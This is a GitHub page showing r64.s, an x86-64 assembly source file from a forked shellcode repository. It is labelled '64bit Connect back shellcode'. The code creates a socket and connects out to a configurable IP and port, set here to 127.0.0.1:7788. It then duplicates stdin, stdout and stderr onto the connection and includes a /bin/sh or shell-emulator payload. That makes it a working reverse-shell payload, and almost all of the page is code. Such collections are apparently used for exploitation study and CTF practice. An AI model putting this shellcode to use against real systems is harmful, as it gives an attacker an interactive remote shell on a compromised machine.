forked from osirislab/Shellcode
-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathr64.s
More file actions
65 lines (51 loc) · 1.18 KB
/
Copy pathr64.s
File metadata and controls
65 lines (51 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
;; Evan Jensen (wont) 012014
;; 64bit Connect back shellcode
;; Handy One liner for IP
;; ''.join(['%02x'%int(x)for x in'1.1.1.1'.split('.')][::-1])
;; port is littleEndian
%include "short64.s"
%include "syscall.s"
%include "util.s"
%define IP ip(127,0,0,1)
%define PORT htons(7788) ;port 7788 Little Endian
%define AF_INET 2
%define SOCK_STREAM 1
%define ANY_PROTO 0
;;; socket -> connect -> dup -> shell
BITS 64
global main
main:
open_my_socket:
push byte AF_INET
pop rdi
push byte SOCK_STREAM
pop rsi
push byte ANY_PROTO
pop rdx
SYSTEM_CALL(socket)
xchg rax,rdi
make_sockaddr:
push byte 0 ;lame part of sockaddr
mov rax, (IP <<32 | PORT <<16 | AF_INET)
push rax ;important part of sockaddr
mov rsi,rsp ;struct sockaddr*
push 0x10
pop rdx ;addrlen
;RDI=sockfd
SYSTEM_CALL(connect)
;; assume success (RAX=0)
push byte 2 ;loop count and FD#
pop rsi
copy_stdin_out_err:
SYSTEM_CALL(dup2)
dec rsi
jns copy_stdin_out_err
;; Any local shellcode here
%define EMULATOR
%ifdef EMULATOR
;; shell emulating shellcode
incbin "../64shellEmulator/shellcode"
%else
;; ordinary shellcode (/bin/sh)
incbin "../64BitLocalBinSh/shellcode"
%endif